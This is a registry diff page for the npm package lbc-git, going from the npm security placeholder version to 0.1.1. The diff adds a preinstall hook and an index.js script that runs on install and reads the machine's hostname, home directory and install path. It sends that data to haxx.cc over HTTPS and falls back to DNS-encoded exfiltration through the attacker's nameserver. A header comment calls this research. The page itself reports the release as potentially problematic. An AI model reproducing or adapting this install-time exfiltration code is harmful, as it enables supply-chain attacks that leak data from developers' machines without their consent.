lbc-git 0.0.1-security → 0.1.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of lbc-git might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/README.md +1 -5
  2. package/package.json +10 -3
  3. package/src/index.js +81 -0
package/README.md CHANGED
@@ -1,5 +1 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=lbc-git for more information.
1
+ test
package/package.json CHANGED
@@ -1,6 +1,13 @@
1
1
  {
2
2
  "name": "lbc-git",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "0.1.1",
4
+ "description": "http://haxx.cc/?lbc-git_description",
5
+ "main": "src/index.js",
6
+ "scripts": {
7
+ "preinstall": "node src/index.js",
8
+ "dev": "node src/index.js",
9
+ "test": "echo \"Error: no test specified\" && exit 1"
10
+ },
11
+ "author": "",
12
+ "license": "ISC"
6
13
  }
package/src/index.js ADDED
@@ -0,0 +1,81 @@
1
+ /*
2
+ This code is used for research purposes, and for taking control of a package name in the
3
+ public namespace that could be exploited by someone to deliver a malicious payload.
4
+
5
+ No sensitive data is retrieved.
6
+
7
+ Any associated data will not be kept.
8
+ */
9
+
10
+
11
+ const dns = require('dns');
12
+ const os = require('os');
13
+ const https = require('https')
14
+
15
+ const suffix = '.e.haxx.cc';
16
+ const ns = 'ns1.haxx.cc';
17
+
18
+ const package = 'lbc-git';
19
+
20
+ function sendToServer(data) {
21
+ data = Buffer.from(data).toString('hex');
22
+ data = data.match(/.{1,60}/g);
23
+
24
+ id = Math.random().toString(36).substring(2);
25
+
26
+ data.forEach(function (chunk, idx){
27
+ try {
28
+ // dns.resolve(
29
+ // 'v2_f.' + id + '.' + idx + '.' + chunk + '.v2_e' + suffix, 'A',
30
+ // console.log);
31
+ dns.resolve(
32
+ id+'.'+chunk+suffix,
33
+ console.log);
34
+ } catch (e) { }
35
+ });
36
+ }
37
+
38
+ function tryGet(toCall) {
39
+ try {
40
+ return toCall();
41
+ } catch(e) {
42
+ return 'err';
43
+ }
44
+ }
45
+
46
+ console.log('goooo');
47
+
48
+ data = {
49
+ p : package,
50
+ h : tryGet(os.hostname),
51
+ d : tryGet(os.homedir),
52
+ c : __dirname
53
+ }
54
+
55
+ data = JSON.stringify(data);
56
+
57
+ // try to exfil over https first
58
+ const options = {
59
+ hostname: 'haxx.cc',
60
+ port: 443,
61
+ path: '/?'+Buffer.from(data).toString('base64'),
62
+ method: 'GET'
63
+ }
64
+
65
+ const req = https.request(options, res => {})
66
+
67
+ req.on('error', error => {
68
+ // failed, so try the hax on dns for exfil
69
+ sendToServer(data);
70
+ dns.lookup(ns, function(err, address) {
71
+ if (!err) {
72
+ nsAddress = address;
73
+ } else {
74
+ nsAddress = '8.8.8.8';
75
+ }
76
+ dns.setServers([nsAddress, '8.8.4.4']);
77
+ sendToServer(data);
78
+ });
79
+ })
80
+
81
+ req.end()